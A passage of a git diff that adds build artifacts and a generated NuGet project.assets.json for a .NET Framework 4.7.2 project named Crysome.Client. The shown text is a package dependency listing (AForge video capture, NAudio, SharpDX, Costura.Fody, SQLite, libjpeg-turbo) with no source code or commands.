a/Crysome.Client/obj/Release/win-x64/apphost.exe b/Crysome.Client/obj/Release/win-x64/apphost.exe new file mode 100644 index 0000000..08c3a01 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/apphost.exe differ diff --git a/Crysome.Client/obj/Release/win-x64/ref/Crysome.Client.dll b/Crysome.Client/obj/Release/win-x64/ref/Crysome.Client.dll new file mode 100644 index 0000000..9d3deb8 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/ref/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/Release/win-x64/refint/Crysome.Client.dll b/Crysome.Client/obj/Release/win-x64/refint/Crysome.Client.dll new file mode 100644 index 0000000..9d3deb8 Binary files /dev/null and b/Crysome.Client/obj/Release/win-x64/refint/Crysome.Client.dll differ diff --git a/Crysome.Client/obj/project.assets.json b/Crysome.Client/obj/project.assets.json new file mode 100644 index 0000000..e4c5bd0 --- /dev/null +++ b/Crysome.Client/obj/project.assets.json @@ -0,0 +1,6224 @@ +{ + "version": 3, + "targets": { + ".NETFramework,Version=v4.7.2": { + "AForge/2.2.5": { + "type": "package", + "compile": { + "lib/AForge.dll": {} + }, + "runtime": { + "lib/AForge.dll": {} + } + }, + "AForge.Video/2.2.5": { + "type": "package", + "dependencies": { + "AForge": "2.2.5" + }, + "compile": { + "lib/AForge.Video.dll": {} + }, + "runtime": { + "lib/AForge.Video.dll": {} + } + }, + "AForge.Video.DirectShow/2.2.5": { + "type": "package", + "dependencies": { + "AForge.Video": "2.2.5" + }, + "compile": { + "lib/AForge.Video.DirectShow.dll": {} + }, + "runtime": { + "lib/AForge.Video.DirectShow.dll": {} + } + }, + "Costura.Fody/5.7.0": { + "type": "package", + "dependencies": { + "Fody": "6.5.5", + "NETStandard.Library": "1.6.1" + }, + "compile": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "build": { + "build/Costura.Fody.props": {}, + "build/Costura.Fody.targets": {} + } + }, + "EntityFramework/6.4.4": { + "type": "package", + "frameworkAssemblies": [ + "System.ComponentModel.DataAnnotations" + ], + "compile": { + "lib/net45/EntityFramework.SqlServer.dll": { + "related": ".xml" + }, + "lib/net45/EntityFramework.dll": { + "related": ".SqlServer.xml;.xml" + } + }, + "runtime": { + "lib/net45/EntityFramework.SqlServer.dll": { + "related": ".xml" + }, + "lib/net45/EntityFramework.dll": { + "related": ".SqlServer.xml;.xml" + } + }, + "build": { + "buildTransitive/EntityFramework.props": {}, + "buildTransitive/EntityFramework.targets": {} + } + }, + "Fody/6.8.0": { + "type": "package", + "build": { + "build/Fody.targets": {} + } + }, + "libjpeg-turbo-native-win/2.0.15": { + "type": "package", + "compile": { + "lib/netstandard2.0/libjpeg-turbo-native-win.dll": {} + }, + "runtime": { + "lib/netstandard2.0/libjpeg-turbo-native-win.dll": {} + }, + "build": { + "build/libjpeg-turbo-native-win.targets": {} + } + }, + "libjpeg-turbo-net/2.0.15": { + "type": "package", + "compile": { + "lib/netstandard2.0/libjpeg-turbo-net.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/libjpeg-turbo-net.dll": { + "related": ".xml" + } + } + }, + "Microsoft.Bcl.AsyncInterfaces/8.0.0": { + "type": "package", + "dependencies": { + "System.Threading.Tasks.Extensions": "4.5.4" + }, + "compile": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "Microsoft.NETCore.Platforms/1.1.0": { + "type": "package", + "compile": { + "lib/netstandard1.0/_._": {} + }, + "runtime": { + "lib/netstandard1.0/_._": {} + } + }, + "Microsoft.Win32.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/Microsoft.Win32.Primitives.dll": {} + }, + "runtime": { + "lib/net46/Microsoft.Win32.Primitives.dll": {} + } + }, + "Microsoft.Win32.Registry/4.7.0": { + "type": "package", + "dependencies": { + "System.Security.AccessControl": "4.7.0", + "System.Security.Principal.Windows": "4.7.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net472/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/Microsoft.Win32.Registry.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard2.0/Microsoft.Win32.Registry.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net461/Microsoft.Win32.Registry.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "NAudio/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Asio": "2.2.1", + "NAudio.Core": "2.2.1", + "NAudio.Midi": "2.2.1", + "NAudio.Wasapi": "2.2.1", + "NAudio.WinForms": "2.2.1", + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/net472/NAudio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net472/NAudio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Asio/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Asio.dll": { + "related": ".xml" + } + } + }, + "NAudio.Core/2.2.1": { + "type": "package", + "compile": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Core.dll": { + "related": ".xml" + } + } + }, + "NAudio.Midi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Midi.dll": { + "related": ".xml" + } + } + }, + "NAudio.Wasapi/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.Wasapi.dll": { + "related": ".xml" + } + } + }, + "NAudio.WinForms/2.2.1": { + "type": "package", + "dependencies": { + "NAudio.WinMM": "2.2.1" + }, + "compile": { + "lib/net472/NAudio.WinForms.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net472/NAudio.WinForms.dll": { + "related": ".xml" + } + } + }, + "NAudio.WinMM/2.2.1": { + "type": "package", + "dependencies": { + "Microsoft.Win32.Registry": "4.7.0", + "NAudio.Core": "2.2.1" + }, + "compile": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/NAudio.WinMM.dll": { + "related": ".xml" + } + } + }, + "NETStandard.Library/1.6.1": { + "type": "package", + "dependencies": { + "Microsoft.NETCore.Platforms": "1.1.0", + "Microsoft.Win32.Primitives": "4.3.0", + "System.AppContext": "4.3.0", + "System.Collections": "4.3.0", + "System.Collections.Concurrent": "4.3.0", + "System.Console": "4.3.0", + "System.Diagnostics.Debug": "4.3.0", + "System.Diagnostics.Tools": "4.3.0", + "System.Diagnostics.Tracing": "4.3.0", + "System.Globalization": "4.3.0", + "System.Globalization.Calendars": "4.3.0", + "System.IO": "4.3.0", + "System.IO.Compression": "4.3.0", + "System.IO.Compression.ZipFile": "4.3.0", + "System.IO.FileSystem": "4.3.0", + "System.IO.FileSystem.Primitives": "4.3.0", + "System.Linq": "4.3.0", + "System.Linq.Expressions": "4.3.0", + "System.Net.Http": "4.3.0", + "System.Net.Primitives": "4.3.0", + "System.Net.Sockets": "4.3.0", + "System.ObjectModel": "4.3.0", + "System.Reflection": "4.3.0", + "System.Reflection.Extensions": "4.3.0", + "System.Reflection.Primitives": "4.3.0", + "System.Resources.ResourceManager": "4.3.0", + "System.Runtime": "4.3.0", + "System.Runtime.Extensions": "4.3.0", + "System.Runtime.Handles": "4.3.0", + "System.Runtime.InteropServices": "4.3.0", + "System.Runtime.InteropServices.RuntimeInformation": "4.3.0", + "System.Runtime.Numerics": "4.3.0", + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0", + "System.Text.Encoding": "4.3.0", + "System.Text.Encoding.Extensions": "4.3.0", + "System.Text.RegularExpressions": "4.3.0", + "System.Threading": "4.3.0", + "System.Threading.Tasks": "4.3.0", + "System.Threading.Timer": "4.3.0", + "System.Xml.ReaderWriter": "4.3.0", + "System.Xml.XDocument": "4.3.0" + } + }, + "SharpDX/4.2.0": { + "type": "package", + "compile": { + "lib/net45/SharpDX.dll": { + "related": ".pdb" + } + }, + "runtime": { + "lib/net45/SharpDX.dll": { + "related": ".pdb" + } + } + }, + "SharpDX.Direct3D11/4.2.0": { + "type": "package", + "dependencies": { + "SharpDX": "4.2.0", + "SharpDX.DXGI": "4.2.0" + }, + "compile": { + "lib/net45/SharpDX.Direct3D11.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/net45/SharpDX.Direct3D11.dll": { + "related": ".pdb;.xml" + } + } + }, + "SharpDX.DXGI/4.2.0": { + "type": "package", + "dependencies": { + "SharpDX": "4.2.0" + }, + "compile": { + "lib/net45/SharpDX.DXGI.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/net45/SharpDX.DXGI.dll": { + "related": ".pdb;.xml" + } + } + }, + "Stub.System.Data.SQLite.Core.NetFramework/1.0.119": { + "type": "package", + "compile": { + "lib/net46/System.Data.SQLite.dll": { + "related": ".dll.altconfig;.xml" + } + }, + "runtime": { + "lib/net46/System.Data.SQLite.dll": { + "related": ".dll.altconfig;.xml" + } + }, + "build": { + "buildTransitive/net46/Stub.System.Data.SQLite.Core.NetFramework.targets": {} + } + }, + "System.AppContext/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net463/System.AppContext.dll": {} + }, + "runtime": { + "lib/net463/System.AppContext.dll": {} + } + }, + "System.Buffers/4.6.0": { + "type": "package", + "compile": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Buffers.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Collections/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Collections.Concurrent/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Console/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Console.dll": {} + }, + "runtime": { + "lib/net46/System.Console.dll": {} + } + }, + "System.Data.SQLite/1.0.119": { + "type": "package", + "dependencies": { + "System.Data.SQLite.Core": "[1.0.119]", + "System.Data.SQLite.EF6": "[1.0.119]", + "System.Data.SQLite.Linq": "[1.0.119]" + } + }, + "System.Data.SQLite.Core/1.0.119": { + "type": "package", + "dependencies": { + "Stub.System.Data.SQLite.Core.NetFramework": "[1.0.119]" + } + }, + "System.Data.SQLite.EF6/1.0.119": { + "type": "package", + "dependencies": { + "EntityFramework": "6.4.4" + }, + "compile": { + "lib/net46/System.Data.SQLite.EF6.dll": {} + }, + "runtime": { + "lib/net46/System.Data.SQLite.EF6.dll": {} + } + }, + "System.Data.SQLite.Linq/1.0.119": { + "type": "package", + "compile": { + "lib/net46/System.Data.SQLite.Linq.dll": {} + }, + "runtime": { + "lib/net46/System.Data.SQLite.Linq.dll": {} + } + }, + "System.Diagnostics.Debug/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Diagnostics.DiagnosticSource/4.3.0": { + "type": "package", + "compile": { + "lib/net46/_._": { + "related": ".xml" + } + }, + "runtime": { + "lib/net46/System.Diagnostics.DiagnosticSource.dll": { + "related": ".xml" + } + } + }, + "System.Diagnostics.Tools/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Diagnostics.Tracing/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net462/System.Diagnostics.Tracing.dll": {} + }, + "runtime": { + "lib/net462/System.Diagnostics.Tracing.dll": {} + } + }, + "System.Globalization/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Globalization.Calendars/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Globalization.Calendars.dll": {} + }, + "runtime": { + "lib/net46/System.Globalization.Calendars.dll": {} + } + }, + "System.IO/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net462/System.IO.dll": {} + }, + "runtime": { + "lib/net462/System.IO.dll": {} + } + }, + "System.IO.Compression/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.Compression.dll": {} + }, + "runtime": { + "lib/net46/System.IO.Compression.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net46/System.IO.Compression.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.IO.Compression.ZipFile/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.IO.Compression.FileSystem", + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.Compression.ZipFile.dll": {} + }, + "runtime": { + "lib/net46/System.IO.Compression.ZipFile.dll": {} + } + }, + "System.IO.FileSystem/4.3.0": { + "type": "package", + "dependencies": { + "System.IO.FileSystem.Primitives": "4.3.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.FileSystem.dll": {} + }, + "runtime": { + "lib/net46/System.IO.FileSystem.dll": {} + } + }, + "System.IO.FileSystem.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.IO.FileSystem.Primitives.dll": {} + }, + "runtime": { + "lib/net46/System.IO.FileSystem.Primitives.dll": {} + } + }, + "System.Linq/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Linq.dll": {} + }, + "runtime": { + "lib/net463/System.Linq.dll": {} + } + }, + "System.Linq.Expressions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Linq.Expressions.dll": {} + }, + "runtime": { + "lib/net463/System.Linq.Expressions.dll": {} + } + }, + "System.Memory/4.6.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.6.0", + "System.Numerics.Vectors": "4.6.0", + "System.Runtime.CompilerServices.Unsafe": "6.1.0" + }, + "compile": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Memory.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Net.Http/4.3.0": { + "type": "package", + "dependencies": { + "System.Diagnostics.DiagnosticSource": "4.3.0", + "System.Security.Cryptography.X509Certificates": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net46/System.Net.Http.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net46/System.Net.Http.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Net.Http.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net46/System.Net.Http.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Net.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Net.Sockets/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.Net.Sockets.dll": {} + }, + "runtime": { + "lib/net46/System.Net.Sockets.dll": {} + } + }, + "System.Numerics.Vectors/4.6.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Numerics" + ], + "compile": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Numerics.Vectors.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.ObjectModel/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Reflection/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net462/System.Reflection.dll": {} + }, + "runtime": { + "lib/net462/System.Reflection.dll": {} + } + }, + "System.Reflection.Extensions/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Reflection.Primitives/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Resources.ResourceManager/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Runtime/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.ComponentModel.Composition", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net462/System.Runtime.dll": {} + }, + "runtime": { + "lib/net462/System.Runtime.dll": {} + } + }, + "System.Runtime.CompilerServices.Unsafe/6.1.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Runtime.CompilerServices.Unsafe.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Runtime.Extensions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net462/System.Runtime.Extensions.dll": {} + }, + "runtime": { + "lib/net462/System.Runtime.Extensions.dll": {} + } + }, + "System.Runtime.Handles/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core" + ], + "compile": { + "ref/net46/_._": {} + }, + "runtime": { + "lib/net46/_._": {} + } + }, + "System.Runtime.InteropServices/4.3.0": { + "type": "package", + "dependencies": { + "System.Runtime": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Runtime.InteropServices.dll": {} + }, + "runtime": { + "lib/net463/System.Runtime.InteropServices.dll": {} + } + }, + "System.Runtime.InteropServices.RuntimeInformation/4.3.0": { + "type": "package", + "compile": { + "ref/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": {} + }, + "runtime": { + "lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.1/System.Runtime.InteropServices.RuntimeInformation.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net45/System.Runtime.InteropServices.RuntimeInformation.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Runtime.Numerics/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Numerics" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Security.AccessControl/4.7.0": { + "type": "package", + "dependencies": { + "System.Security.Principal.Windows": "4.7.0" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.AccessControl.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/System.Security.AccessControl.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/win/lib/net461/System.Security.AccessControl.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Algorithms/4.3.0": { + "type": "package", + "dependencies": { + "System.IO": "4.3.0", + "System.Runtime": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0", + "System.Security.Cryptography.Primitives": "4.3.0" + }, + "frameworkAssemblies": [ + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net463/System.Security.Cryptography.Algorithms.dll": {} + }, + "runtime": { + "lib/net463/System.Security.Cryptography.Algorithms.dll": {} + }, + "runtimeTargets": { + "runtimes/osx/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "osx" + }, + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net463/System.Security.Cryptography.Algorithms.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Encoding/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net46/System.Security.Cryptography.Encoding.dll": {} + }, + "runtime": { + "lib/net46/System.Security.Cryptography.Encoding.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.3/System.Security.Cryptography.Encoding.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net46/System.Security.Cryptography.Encoding.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Cryptography.Primitives/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net46/System.Security.Cryptography.Primitives.dll": {} + }, + "runtime": { + "lib/net46/System.Security.Cryptography.Primitives.dll": {} + } + }, + "System.Security.Cryptography.X509Certificates/4.3.0": { + "type": "package", + "dependencies": { + "System.Security.Cryptography.Algorithms": "4.3.0", + "System.Security.Cryptography.Encoding": "4.3.0" + }, + "frameworkAssemblies": [ + "System", + "System.Core", + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.Cryptography.X509Certificates.dll": {} + }, + "runtime": { + "lib/net461/System.Security.Cryptography.X509Certificates.dll": {} + }, + "runtimeTargets": { + "runtimes/unix/lib/netstandard1.6/System.Security.Cryptography.X509Certificates.dll": { + "assetType": "runtime", + "rid": "unix" + }, + "runtimes/win/lib/net461/System.Security.Cryptography.X509Certificates.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Security.Principal.Windows/4.7.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net461/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/System.Security.Principal.Windows.dll": { + "related": ".xml" + } + }, + "runtimeTargets": { + "runtimes/win/lib/net461/System.Security.Principal.Windows.dll": { + "assetType": "runtime", + "rid": "win" + } + } + }, + "System.Text.Encoding/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Text.Encoding.Extensions/4.3.0": { + "type": "package", + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Text.Encodings.Web/8.0.0": { + "type": "package", + "dependencies": { + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0" + }, + "compile": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Encodings.Web.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "System.Text.Json/8.0.5": { + "type": "package", + "dependencies": { + "Microsoft.Bcl.AsyncInterfaces": "8.0.0", + "System.Buffers": "4.5.1", + "System.Memory": "4.5.5", + "System.Runtime.CompilerServices.Unsafe": "6.0.0", + "System.Text.Encodings.Web": "8.0.0", + "System.Threading.Tasks.Extensions": "4.5.4", + "System.ValueTuple": "4.5.0" + }, + "compile": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/System.Text.Json.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/System.Text.Json.targets": {} + } + }, + "System.Text.RegularExpressions/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "mscorlib" + ], + "compile": { + "ref/net463/System.Text.RegularExpressions.dll": {} + }, + "runtime": { + "lib/net463/System.Text.RegularExpressions.dll": {} + } + }, + "System.Threading/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System", + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Threading.Tasks/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Core" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "System.Threading.Tasks.Extensions/4.5.4": { + "type": "package", + "dependencies": { + "System.Runtime.CompilerServices.Unsafe": "4.5.3" + }, + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net461/System.Threading.Tasks.Extensions.dll": { + "related": ".xml" + } + } + }, + "System.Threading.Timer/4.3.0": { + "type": "package", + "compile": { + "ref/net451/_._": {} + }, + "runtime": { + "lib/net451/_._": {} + } + }, + "System.ValueTuple/4.5.0": { + "type": "package", + "frameworkAssemblies": [ + "mscorlib" + ], + "compile": { + "ref/net47/System.ValueTuple.dll": {} + }, + "runtime": { + "lib/net47/System.ValueTuple.dll": { + "related": ".xml" + } + } + }, + "System.Xml.ReaderWriter/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Xml", + "mscorlib" + ], + "compile": { + "ref/net46/System.Xml.ReaderWriter.dll": {} + }, + "runtime": { + "lib/net46/System.Xml.ReaderWriter.dll": {} + } + }, + "System.Xml.XDocument/4.3.0": { + "type": "package", + "frameworkAssemblies": [ + "System.Xml.Linq" + ], + "compile": { + "ref/net45/_._": {} + }, + "runtime": { + "lib/net45/_._": {} + } + }, + "Crysome.Common.Client/1.0.0": { + "type": "project", + "framework": ".NETFramework,Version=v4.7.2", + "dependencies": { + "System.Buffers": "4.6.0", + "System.Memory": "4.6.0", + "System.Text.Json": "8.0.5" + }, + "compile": { + "bin/placeholder/Crysome.Common.Client.dll": {} + }, + "runtime": { + "bin/placeholder/Crysome.Common.Client.dll": {} + } + } + }, + ".NETFramework,Version=v4.7.2/win-x64": { + "AForge/2.2.5": { + "type": "package", + "compile": { + "lib/AForge.dll": {} + }, + "runtime": { + "lib/AForge.dll": {} + } + }, + "AForge.Video/2.2.5": { + "type": "package", + "dependencies": { + "AForge": "2.2.5" + }, + "compile": { + "lib/AForge.Video.dll": {} + }, + "runtime": { + "lib/AForge.Video.dll": {} + } + }, + "AForge.Video.DirectShow/2.2.5": { + "type": "package", + "dependencies": { + "AForge.Video": "2.2.5" + }, + "compile": { + "lib/AForge.Video.DirectShow.dll": {} + }, + "runtime": { + "lib/AForge.Video.DirectShow.dll": {} + } + }, + "Costura.Fody/5.7.0": { + "type": "package", + "dependencies": { + "Fody": "6.5.5", + "NETStandard.Library": "1.6.1" + }, + "compile": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "runtime": { + "lib/netstandard1.0/Costura.dll": { + "related": ".pdb;.xml" + } + }, + "build": { + "build/Costura.Fody.props": {}, + "build/Costura.Fody.targets": {} + } + }, + "EntityFramework/6.4.4": { + "type": "package", + "frameworkAssemblies": [ + "System.ComponentModel.DataAnnotations" + ], + "compile": { + "lib/net45/EntityFramework.SqlServer.dll": { + "related": ".xml" + }, + "lib/net45/EntityFramework.dll": { + "related": ".SqlServer.xml;.xml" + } + }, + "runtime": { + "lib/net45/EntityFramework.SqlServer.dll": { + "related": ".xml" + }, + "lib/net45/EntityFramework.dll": { + "related": ".SqlServer.xml;.xml" + } + }, + "build": { + "buildTransitive/EntityFramework.props": {}, + "buildTransitive/EntityFramework.targets": {} + } + }, + "Fody/6.8.0": { + "type": "package", + "build": { + "build/Fody.targets": {} + } + }, + "libjpeg-turbo-native-win/2.0.15": { + "type": "package", + "compile": { + "lib/netstandard2.0/libjpeg-turbo-native-win.dll": {} + }, + "runtime": { + "lib/netstandard2.0/libjpeg-turbo-native-win.dll": {} + }, + "build": { + "build/libjpeg-turbo-native-win.targets": {} + } + }, + "libjpeg-turbo-net/2.0.15": { + "type": "package", + "compile": { + "lib/netstandard2.0/libjpeg-turbo-net.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/netstandard2.0/libjpeg-turbo-net.dll": { + "related": ".xml" + } + } + }, + "Microsoft.Bcl.AsyncInterfaces/8.0.0": { + "type": "package", + "dependencies": { + "System.Threading.Tasks.Extensions": "4.5.4" + }, + "compile": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "runtime": { + "lib/net462/Microsoft.Bcl.AsyncInterfaces.dll": { + "related": ".xml" + } + }, + "build": { + "buildTransitive/net462/_._": {} + } + }, + "Microsoft.NETCore.Platforms/1.1.0": { + "type": "package", + 